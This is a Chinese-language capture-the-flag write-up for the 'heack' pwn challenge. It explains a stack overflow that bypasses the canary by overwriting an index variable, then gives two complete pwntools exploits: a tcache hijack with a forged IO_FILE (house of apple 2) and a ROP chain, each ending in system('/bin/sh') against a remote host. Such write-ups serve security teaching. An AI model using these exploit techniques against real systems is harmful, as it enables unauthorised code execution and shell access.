heack
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
libc 版本:Ubuntu GLIBC 2.39-0ubuntu8.4,用 Ubuntu 24.04 刚好版本一致。
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
printf("Welcome To L3HCTF!");
game();
printf("Have a nice day.");
return 0;
}
主要逻辑在 game() 函数:
__int64 game()
{
...
v9 = __readfsqword(0x28u);
memset(s, 0, 0xA8uLL);
v5 = 19533573;
v6 = 2035549;
v7 = 20250712;
printf("Data: %d\n", 20250712);
puts("As the chosen hero, you must conquer the fearsome dragon that threatens our kingdom!");
while ( 1 )
{
print_menu();
int_4bytes = read_int_4bytes();
switch ( int_4bytes )
{
case 1:
fight_dragon(combp);
exit(0);
case 2:
puts("\n[Attack Training]");
++atk;
combp += 0x10LL;
printf("[Attack]: %lu\n", atk);
break;
case 3:
puts("\n[HP Training]");
++hp;
combp += 0x100LL;
printf("[HP]: %lu\n", hp);
break;
case 4:
puts("\n[Status] Displaying hero stats...");
printf("[HP]: %lu\n", hp);
printf("[Attack]: %lu\n", atk);
printf("[Combat Power]: %lu\n", combp);
printf("Hint: To defeat the mighty dragon, ensure your HP and Attack both exceed 93!");
break;
case 5:
note_system((__int64)s);
break;
default:
return sad();
}
}
}
case 2 加 atk 同时加 0x10 的 combp,case 3 加 hp 同时加 0x100 的 combp,case 4 显示三个状态值。
case 1 跟龙战斗的逻辑:
__int64 __fastcall fight_dragon(unsigned __int64 combp)
{
int v1; // eax
_BYTE buf[260]; // [rsp+10h] [rbp-110h] BYREF
unsigned int v4; // [rsp+114h] [rbp-Ch]
unsigned __int64 v5; // [rsp+118h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("\n[Battle] Engaging the dragon!");
puts("As you lay eyes upon the dread dragon, your blood boils with the urge to challenge it!");
printf("You grip your sword and shout:");
v4 = 0;
while ( read(0, buf, 1uLL) == 1 && buf[0] != '\n' )// 循环读入,直至回车
{
v1 = v4++;
buf[v1 + 1] = buf[0]; // 从下标1开始读入
}
if ( combp <= 0xFFFF )
{
puts("TRIP ATTACK! (Critical Hit)\nYour fumbling dagger strike somehow finds the dragon's vulnerability!");
puts("◼ 10000 EXP\n◼ Achievement Unlocked: Dumb Luck");
}
else
{
puts("\nThe mighty dragon takes one look at you, whimpers, and bolts away like a scared kitten. You win... by default?");
}
return v4;
}
buf 处有栈溢出漏洞。
while ( read(0, buf, 1uLL) == 1 && buf[0] != '\n' )// 循环读入,直至回车
{
v1 = v4++;
buf[v1 + 1] = buf[0]; // 从下标1开始读入
}
注意这种读入方式出现的漏洞:变量 v4 也是在栈上的,所以读入的 buf 能溢出到 v4 的空间,从而控制读入的下标,进而越过 canary 保护修改栈上内容,比如返回地址。
v4: rbp-0xc
buf: rbp-0x110
buf 空间有 0x104,但是开头的一字节空间是用来缓存的,所以实际上只能输入 0x103 字节的 padding,再输入 1 字节的 v4 末位值,最后填需要篡改的返回地址末位值。
假设我们提前知道要跳转到 loc_129A 的地方:
首先输入 0x103 字节的垃圾字符,此时 v4 = 0x103,开始读入第 0x104 个字符,而我们的目标即返回地址在 buf[0x118] 处(rbp 向上 0x110 Bytes, rbp 向下 0x8 Bytes 是给 save_rbp 的,一共 0x118 Bytes,因为下标从 0 开始所以是占据 buf[0] – buf[0x117],进而要覆盖的返回地址在 buf[0x118]),于是第 0x104 个字节应该填充 0x17,让 v4 = 0x117,进而在下一轮让 v1 = 0x117,buf[v1 + 1] = buf[0] 就会覆盖返回地址的末字节。又由于小端序,在下一轮恰好又能覆盖返回地址的倒数第二个字节。
payload = b'a'*0x103+p8(0x17)+p16(0x129A)
倒数第四位(129A的1)其实是不确定的,调试的时候可以把 ASLR 关了来确定是哪一位,打远程的时候就只能爆破。
case 5,熟悉的菜单堆题模式:
void __fastcall note_system(__int64 mem)
{
int choice; // [rsp+14h] [rbp-2Ch]
int num2; // [rsp+18h] [rbp-28h]
int num3; // [rsp+18h] [rbp-28h]
int num1; // [rsp+18h] [rbp-28h]
unsigned int size; // [rsp+1Ch] [rbp-24h]
size_t remain_size; // [rsp+20h] [rbp-20h]
ssize_t v7; // [rsp+28h] [rbp-18h]
while ( 1 )
{
puts("\nDuring your grueling training, you feel compelled to document your thoughts...");
puts("1. Write a new diary entry");
puts("2. Destroy a diary entry");
puts("3. View a diary entry");
puts("4. Exit");
printf("Choose an option: ");
choice = read_int_4bytes();
if ( choice == 4 )
break;
if ( choice > 4 )
goto LABEL_28;
switch ( choice )
{
case 3: // 查看内容
printf("Enter index to view (0-%d): ", 15);// 最多16个note
num1 = read_int_4bytes();
if ( (unsigned int)num1 < 0x10 )
{
if ( *(_QWORD *)(8LL * num1 + mem) ) // 8个字节一组,每个地方放一个地址
{
printf("\n--- Diary Entry %d ---\n", num1);
puts(*(const char **)(8LL * num1 + mem));
puts("----------------------");
}
else
{
LABEL_21:
puts("No diary exists at this index.");
}
}
else
{
LABEL_23:
puts("Invalid index!");
}
break;
case 1: // 创建note
printf("Enter index (0-%d): ", 15);
num2 = read_int_4bytes();
if ( (unsigned int)num2 >= 0x10 )
goto LABEL_23;
if ( *(_QWORD *)(8LL * num2 + mem) )
{
puts("This slot already contains a diary. Destroy it first.");
}
else
{
printf("Enter diary content size (1-2048): ");
size = read_int_4bytes();
if ( size && size <= 0x800 ) // size不能超过0x800
{
*(_QWORD *)(8LL * num2 + mem) = malloc(size + 1);// 多malloc 1个字节
if ( *(_QWORD *)(8LL * num2 + mem) )
{
remain_size = malloc_usable_size(*(void **)(8LL * num2 + mem));// malloc_usable_size返回该内存块的实际可用字节数
memset(*(void **)(8LL * num2 + mem), 0, remain_size);
printf("Input your content: ");
v7 = read(0, *(void **)(8LL * num2 + mem), size);
if ( v7 <= 0 )
{
puts("Read failed!");
free(*(void **)(8LL * num2 + mem));// UAF
return;
}
*(_BYTE *)(*(_QWORD *)(8LL * num2 + mem) + v7) = 0;
printf("Diary saved at index %d!\n", num2);
puts("You steel your resolve - these memoirs shall remain sealed until the dragon lies vanquished.");
}
else
{
puts("Failed to allocate memory for diary!");
}
}
else
{
puts("Invalid size!");
}
}
break;
case 2:
printf("Enter index to destroy (0-%d): ", 15);
num3 = read_int_4bytes();
if ( (unsigned int)num3 >= 0x10 )
goto LABEL_23;
if ( !*(_QWORD *)(8LL * num3 + mem) )
goto LABEL_21;
free(*(void **)(8LL * num3 + mem));
*(_QWORD *)(8LL * num3 + mem) = 0LL;
printf("Diary at index %d has been destroyed.\n", num3);
break;
default:
LABEL_28:
puts("Invalid choice!");
break;
}
}
puts("Exiting diary system. Goodbye, hero!");
}
case 1:创建 chunk,最多 16 个,大小在 0 – 0x800,可疑点:malloc 的时候会多 malloc 一个字节:
*(_QWORD *)(8LL * num2 + mem) = malloc(size + 1);
并且读取内容失败的时候会释放内存,此处存在 UAF 漏洞(但是似乎无法利用):
printf("Input your content: ");
v7 = read(0, *(void **)(8LL * num2 + mem), size);
if ( v7 <= 0 )
{
puts("Read failed!");
free(*(void **)(8LL * num2 + mem));
return;
}
case 2:销毁 chunk,并且没有 UAF 漏洞。
case 3:查看 chunk 内容。
case 4:退出循环。
法1(打堆,然后 FSOP)

观察到 note_system 的参数是 chunk_list 的指针,并且在函数开头把这个指针,也就是 rdi 的值放在了栈上 rbp-0x38 的位置。而上面 fight_dragon() 函数的漏洞能既让我们布置栈内元素,还能实现返回地址篡改,于是我们可以先在 fight_dragon() 里在 rbp-0x38 的地方填上我们想要的地址,再跳转到 loc_129A 的地方,这样就能伪造 chunk_list.

看一下取数的具体逻辑,从 rbp-0x38 的地方取出地址赋给 rax,再加上偏移量 rdx,最后再取出值赋给 rax. 因此我们可以先:
add(15, 0x8)
这样就将 chunk_list 地址伪造成了堆块地址,然后就能根据偏移量读取堆中数据了。
add(15, 0x8)
add(14, 0x8)
add(13, 0x430)
add(12, 0x8)
add(11, 0x8)
第一个放在编号 15 的地方是因为 rbp-0x38 刚好在 s[15],14 和 12 是两个 padding 块,防止大堆块合并,13 号就是将来释放到 unsorted bin 里面的大堆块。再分别删除堆块:
delete(12)
delete(13)
delete(14)


现在存放在 chunk 15 里的即为堆块地址 0x5555555592a0,因此 show(8) 或者 show(9) 就能读出 main_arena+96 内存中的内容。
fight_dragon(b'a'*0x103+p8(0x17)+p16(0x529A))
show(8)
当然,这个 0x529A 的 5 是不确定的,最后需要爆破。

由此我们可以得到堆地址。
既然已经得到了堆地址,那么如法炮制可以通过 show 0x5555555592e0 上的内容来获取 libc 基地址。方法很简单,只需要再申请一块 0x8 大小的 chunk,这时候会申请到 chunk 14 的位置,再填入 0x5555555592e0,show(4) 即可泄露 main_arena+96 的地址值。
既然能 show 任意地址的内容,自然也能 free 任意地址的堆块。借此 free 掉 tcache_perthread_struct 进行 tcache_perthread_struct hijack,然后就可以申请到任意地址的堆块。这里选择申请到 _IO_list_all ,把 _IO_2_1_stderr_ 的地址改成可控的堆地址,随后进行 IOFILE 伪造,最后 exit 退出时调用 house of apple 2 链,拿到 shell. 星盟的 exp 没太看懂,他直接把 _IO_2_1_stdout_ 整个改掉了,最后好像是进的 vprintf 相关的链,甚至不用人为 exit,直接拿到 shell 了。
完整 exp:
from pwn import *
libc = ELF('./lib/libc.so.6')
elf = ELF('./vul2')
# local = 1
# if local == 1:
# io = process('./vul2')
# else:
# io = remote("43.138.2.216", 9999)
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
# gdb.attach(io, "b *$rebase(0x184f)")
def cmd(choice, prompt=b'> '):
io.sendlineafter(prompt, str(choice).encode())
def fight_dragon(shout):
cmd(1)
io.sendlineafter(b'You grip your sword and shout:', shout)
def add_atk():
cmd(2)
def add_hp():
cmd(3)
def show_stats():
cmd(4)
def note_sys():
cmd(5)
def add(idx, size, content=b'a'):
cmd(1, b"Choose an option: ")
io.sendlineafter(b'Enter index (0-15): ', str(idx).encode())
io.sendafter(b'Enter diary content size (1-2048): ', str(size).encode())
io.sendafter(b'Input your content: ', content)
def delete(idx):
cmd(2, b"Choose an option: ")
io.sendlineafter(b'Enter index to destroy (0-15): ', str(idx).encode())
def show(idx):
cmd(3, b"Choose an option: ")
io.sendlineafter(b'Enter index to view (0-15): ', str(idx).encode())
def exit_note():
cmd(4, b"Choose an option: ")
def pwn():
# fight_dragon(b'a'*0x103 + b'\x17' + b'\x6d')
note_sys()
add(15, 0x8) # chunk 0
add(14, 0x8) # chunk 1
add(13, 0x430) # chunk 2
add(12, 0x8) # chunk 3
add(11, 0x8) # chunk 4
delete(12) # head -> chunk 3
delete(13) # chunk 2 in unsorted bin
delete(14) # head -> chunk 1 -> chunk 3
exit_note()
fight_dragon(b'a'*0x103 + b'\x17' + b'\x9a\x52')
show(8)
io.recvuntil(b'--- Diary Entry 8 ---\n')
leak_heap = u64(io.recvline()[:-1].ljust(8, b'\x00'))
log.info(f'Leak heap: {hex(leak_heap)}')
heap_base = leak_heap - 0x750
log.info(f'Heap base: {hex(heap_base)}')
add(1, 0x8, p64(heap_base + 0x2e0)) # head -> chunk 3; get chunk 1
show(4)
io.recvuntil(b'--- Diary Entry 4 ---\n')
leak_libc = u64(io.recvline()[:-1].ljust(8, b'\x00'))
log.info(f'Leak libc: {hex(leak_libc)}')
libc_base = leak_libc - 0x203b20
libc.address = libc_base
log.info(f'Libc base: {hex(libc_base)}')
# tcache hijack + house of apple2
# 既然能利用“借栈”漏洞去 leak 任意地址的信息,那么也能 free 任意地址的堆块
delete(1)
add(1, 0x8, p64(heap_base + 0x10))
delete(4) # free tcache_perthread_struct
# n_size = size//16-2
# entry_size = 0x40 + (size//16-2)*8
_IO_list_all = libc.symbols['_IO_list_all']
_IO_2_1_stdout_ = libc.symbols['_IO_2_1_stdout_']
size = 0x20
n_0x50 = size//8-4
entry_0x50 = 0x80 + (size//16-2)*8
add(2, 0x280, flat({
n_0x50: b'\x01',
entry_0x50: _IO_list_all
}, filler=b'\x00'))
_IO_wfile_jumps = libc.symbols['_IO_wfile_jumps']
log.info(f'_IO_wfile_jumps: {hex(_IO_wfile_jumps)}')
log.info(f'_IO_2_1_stdout_: {hex(_IO_2_1_stdout_)}')
# pause()
fake_file_addr = heap_base + 0x760
fake_wide_offset = 0x100
fake_wide_data = fake_file_addr + fake_wide_offset
fake_vtable_offset = 0x200
fake_vtable = fake_file_addr + fake_vtable_offset
system_addr = libc.symbols['system']
fake_io = flat({
0x0: ' sh',
0x88: libc_base + 0x205710,
0xc0: 1,
0xd8: _IO_wfile_jumps - 0x40, # 动调找到偏移,事实证明在 2.35 和 2.39 版本都是这个偏移
0xa0: fake_wide_data,
# fake _IO_wide_data
fake_wide_offset + 0x18 : 0,
fake_wide_offset + 0x30 : 0,
fake_wide_offset + 0xe0 : fake_vtable,
# fake vtable
fake_vtable_offset + 0x68 : system_addr
}, filler = b'\x00')
add(5, 0x8, p64(fake_file_addr))
add(6, 0x500, fake_io)
exit_note()
io.interactive()
while True:
try:
io = remote("43.138.2.216", 9999)
# io = remote("0.0.0.0", 10043)
pwn()
break
except Exception as e:
# log.error(f'Error: {e}')
io.close()
leak 以后星盟的 exp:
stdout = libc.address + 0x2045c0
wfile_jump = libc.address + 0x202228
fake_io = flat({
0x0:b' sh',
0xa0:p64(stdout),
0x10:p64(libc.symbols['system']),
0x20:p64(stdout),
0xd8:p64(wfile_jump + 0x48 - 0x38),
0x88:p64(stdout-0x30),
0xe0:p64(stdout-8),
},filler=b'\x00')
delete(1)
add(1, 8, p64(heap_base+0x10))
delete(4)
pay1 = b''
pay1 = p16(0)*((0x400-0x20)//0x10)+p16(1)
pay1 = pay1.ljust(0x270, b'\x00')+p64(stdout-0x10)
add(2, 0x280, pay1)
delete(1)
add(1, 0x3f0, p64(0)*2+fake_io)
io.interactive()
法2(打栈,直接 ROP)
利用 read 函数特性:处理完后,rsi 指向输入的内容。也就是从 fight_dragon 函数出来的时候 rsi 仍然是一个栈上的地址,这时候再利用 game() 中 printf(“%lu”) 的地方就可以把 rsi 的内容泄露出来,从而拿到 libc 基地址。进而再次进入 fight_dragon 进行 ROP.
这种方法跟法1同样需要爆破半个字节。
注意,如果使用法1泄露地址的话,因为栈已经被打乱,返回地址也弄丢了,你是回不到 game() 函数再进入 fight_dragon 函数打 ROP 的。
完整 exp:
from pwn import *
libc = ELF('./lib/libc.so.6')
elf = ELF('./vul2')
local = 1
if local == 1:
io = process('./vul2')
else:
io = remote("43.138.2.216", 9999)
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
gdb.attach(io, "b *$rebase(0x1816)")
def cmd(choice, prompt=b'> '):
io.sendafter(prompt, str(choice).encode())
def fight_dragon(shout):
cmd(1)
io.sendlineafter(b'You grip your sword and shout:', shout)
def add_atk():
cmd(2)
def add_hp():
cmd(3)
def show_stats():
cmd(4)
def note_sys():
cmd(5)
def add(idx, size, content=b'a'):
cmd(1, b"Choose an option: ")
io.sendafter(b'Enter index (0-15): ', str(idx).encode())
io.sendafter(b'Enter diary content size (1-2048): ', str(size).encode())
io.sendafter(b'Input your content: ', content)
def delete(idx):
cmd(2, b"Choose an option: ")
io.sendlineafter(b'Enter index to destroy (0-15): ', str(idx).encode())
def show(idx):
cmd(3, b"Choose an option: ")
io.sendlineafter(b'Enter index to view (0-15): ', str(idx).encode())
def exit_note():
cmd(4, b"Choose an option: ")
def pwn():
# fight_dragon(b'a'*0x103 + b'\x17' + b'\x6d')
# io.recvuntil(b'Data: ')
fight_dragon(b'a'*0x103 + b'\x17' + b'\xad\x59')
io.recvuntil(b'[Attack]: ')
leak_libc = io.recvline()
leak_libc = int(leak_libc[:-1])
log.info(f'leak_libc: {hex(leak_libc)}')
libc.address = leak_libc - 0x204643
pop_rdi = libc.address + 0x000000000010f75b
pop_rsi = libc.address + 0x0000000000110a4d
bin_sh = libc.search(b'/bin/sh\x00').__next__()
system = libc.sym['system']
log.info(hex(bin_sh))
log.info(hex(system))
fight_dragon(flat(
b'a'*0x103 + b'\x17',
pop_rdi, bin_sh,
pop_rdi + 1,
system
))
io.interactive()
pwn()
# while True:
# try:
# io = remote("43.138.2.216", 9999)
# pwn()
# break
# except:
# io.close()